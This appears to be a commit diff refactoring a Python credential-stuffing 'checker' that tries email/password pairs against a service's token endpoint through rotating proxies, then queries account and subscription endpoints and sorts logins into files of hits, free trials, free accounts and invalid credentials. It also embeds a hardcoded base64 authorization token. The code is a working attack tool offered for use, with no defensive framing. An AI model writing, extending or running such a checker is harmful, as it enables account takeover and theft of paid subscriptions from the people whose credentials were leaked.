1616}
1717AUTH_TOKEN = "bC1wbGZ0bmtneWFycGZxaGpoOC06TVFZX3pDeGlOUFk1RUVPX0xQRk9VNFFaZ1ktWVVZRXM="
1818WARNING_COLOR = '\033 [91m'
19+ INVALID_COLOR = '\033 [93m'
20+ FREE_TRIAL_COLOR = '\033 [94m'
21+ HIT_COLOR = '\033 [92m'
22+ FREE_ACCOUNT_COLOR = '\033 [96m'
1923COLOR_END = '\033 [0m'
2024
2125
@@ -55,39 +59,56 @@ def _checker(self):
5559 self .hitFile .close ()
5660 self .invalid .close ()
5761
58- def _letsLogin (self ):
59- request = self ._preparingLoginData ()
60- self ._tryToLogin (request )
61-
62- def _preparingLoginData (self ):
63- data = dict (self .data )
64- data ['username' ] = self .email
65- data ['password' ] = self .password
62+ def _prepareRequest (
63+ self ,
64+ request : sendRequest .Request ,
65+ request_for : str ,
66+ ** kwargs
67+ ):
68+
69+ url = self .apiUrl
70+ data = dict ()
6671 headers = dict (self .headers )
67- headers ["authorization" ] = self .auth
68- headers ["Content-Type" ] = "application/x-www-form-urlencoded"
69-
70- request = sendRequest .Request ()
72+
73+ if request_for == "login" :
74+ url += "auth/v1/token"
75+ data = dict (self .data )
76+ data ['username' ] = self .email
77+ data ['password' ] = self .password
78+ headers ["authorization" ] = self .auth
79+ headers ["Content-Type" ] = "application/x-www-form-urlencoded"
80+
81+ elif request_for == "external" :
82+ url += "accounts/v1/me"
83+ header = kwargs ["header" ]
84+ headers .update (header )
85+
86+ else :
87+ externalID = kwargs ["externalID" ]
88+ header = kwargs ["header" ]
89+ headers .update (header )
90+ url += f"subs/v1/subscriptions/{ externalID } /products"
91+
7192 request .setRequestData (
72- self . apiUrl + "auth/v1/token" ,
93+ url ,
7394 headers ,
74- data ,
75- self .proxyObj .getProxy ()
95+ data
7696 )
77-
78- return request
97+
98+ def _letsLogin (self ):
99+ request = sendRequest .Request ()
100+ self ._prepareRequest (request ,"login" )
101+ self ._tryToLogin (request )
79102
80103 def _tryToLogin (
81- self ,
82- request : sendRequest .Request
83- ):
104+ self ,
105+ request : sendRequest .Request
106+ ):
107+ request .setProxy (self .proxyObj .getProxy ())
84108 request .sendRequest ()
85109 res = request .response
86110
87111 if "error" in res :
88- def nextProxy ():
89- request .setProxy (self .proxyObj .getProxy ())
90- self ._tryToLogin (request )
91112
92113 e = res ["error" ]
93114 if res ["errorType" ] == "http" :
@@ -100,7 +121,7 @@ def nextProxy():
100121 elif res ["errorType" ] == "proxy" :
101122 print (self .proxyObj .getProxy (), " Proxy is not working while login " , e )
102123 self .proxyObj .nextIndex ()
103- nextProxy ( )
124+ self . _tryToLogin ( request )
104125
105126 else :
106127 print (e )
@@ -153,29 +174,29 @@ def _resultSaving(
153174 if file == 'error' :
154175 fileRefer = self .error
155176 fileLog = f'{ printMsg } { error } '
156- color = ' \033 [91m'
177+ color = WARNING_COLOR
157178 printLog = error
158179
159180 elif file == 'invalid' :
160181 fileRefer = self .invalid
161182 fileLog = printMsg
162- color = ' \033 [93m'
183+ color = INVALID_COLOR
163184 printLog = "Invalid Login Credential"
164185
165186 elif file == 'hit' :
166187 fileLog = printMsg
167188 if free_trial :
168189 fileRefer = self .trial
169- color = ' \033 [94m'
190+ color = FREE_TRIAL_COLOR
170191 printLog = "Free Trial Found"
171192 else :
172193 fileRefer = self .hitFile
173- color = ' \033 [92m'
194+ color = HIT_COLOR
174195 printLog = "Hit Found"
175196 else :
176197 fileRefer = self .freeFile
177198 fileLog = printMsg
178- color = ' \033 [96m'
199+ color = FREE_ACCOUNT_COLOR
179200 printLog = "Free Account Found"
180201
181202 printMsg = color + f"{ printMsg } { printLog } "
@@ -185,22 +206,31 @@ def _resultSaving(
185206 fileRefer .write (fileLog )
186207 fileRefer .flush ()
187208
188- def _premiumChecker (self , accessToken ):
189- header = dict (self .headers )
209+ def _premiumChecker (
210+ self ,
211+ accessToken : str
212+ ):
213+ header = dict ()
190214 header ["authorization" ] = f"Bearer { accessToken } "
191215 externalID = self ._getExternalID (header )
192216 if externalID :
193217 self ._subscriptionChecker (header , externalID )
194218 return
195219
196- def _getExternalID (self , header ):
220+ def _getExternalID (
221+ self ,
222+ header : dict [str , str ]
223+ ):
197224 request = sendRequest .Request ()
198- request .setRequestData (
199- self .apiUrl + 'accounts/v1/me' ,
200- header
225+ self ._prepareRequest (
226+ request ,
227+ "external" ,
228+ header = header
201229 )
202230
203- def gettingExternalID (request ):
231+ def gettingExternalID (
232+ request : sendRequest .Request
233+ ):
204234 request .setProxy (self .proxyObj .getProxy ())
205235 request .sendRequest ()
206236 res = request .response
@@ -228,14 +258,22 @@ def gettingExternalID(request):
228258
229259 return gettingExternalID (request )
230260
231- def _subscriptionChecker (self , header , externalID ):
261+ def _subscriptionChecker (
262+ self ,
263+ header : dict [str , str ],
264+ externalID : str
265+ ):
232266 request = sendRequest .Request ()
233- request .setRequestData (
234- self .apiUrl + f'subs/v1/subscriptions/{ externalID } /products' ,
235- header
267+ self ._prepareRequest (
268+ request ,
269+ "subscription" ,
270+ header = header ,
271+ externalID = externalID
236272 )
237273
238- def checkingSubscription (request ):
274+ def checkingSubscription (
275+ request : sendRequest .Request
276+ ):
239277 request .setProxy (self .proxyObj .getProxy ())
240278 request .sendRequest ()
241279 res = request .response
0 commit comments